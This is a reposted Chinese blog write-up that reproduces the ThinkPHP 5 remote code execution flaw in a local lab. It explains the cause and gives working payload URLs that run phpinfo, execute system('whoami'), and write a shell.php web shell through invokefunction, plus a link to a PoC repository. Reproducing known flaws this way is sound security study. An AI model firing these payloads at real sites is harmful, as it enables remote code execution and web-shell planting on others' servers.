ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

来源:csdn博客 分类: 文章浏览史 发布时间:2020-12-01 17:17:50 最后更新:2020-12-01 浏览:855
转载声明:
本文为摘录自“csdn博客”,版权归原作者所有。
温馨提示:
为了更好的体验,请点击原文链接进行浏览
摘录时间:
2020-12-01 17:17:50

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

复现环境

ThinkPHP 5.0.20版本
环境启动后,访问http://192.168.1.15:8080即可看到ThinkPHP默认启动页面。
在这里插入图片描述

漏洞复现

payload:
代码执行

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述
**加粗样式**
写入文件

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

在这里插入图片描述

写入:
在这里插入图片描述
访问发现shell.php
在这里插入图片描述

漏洞poc:
https://github.com/heroanswer/thinkphp_rce_poc

参考链接:
https://bbs.ichunqiu.com/thread-48687-1-1.html?tdsourcetag=s_pcqq_aiomsg
http://www.thinkphp.cn/topic/60400.html
http://www.thinkphp.cn/topic/60390.html
https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
在这里插入图片描述

php技术微信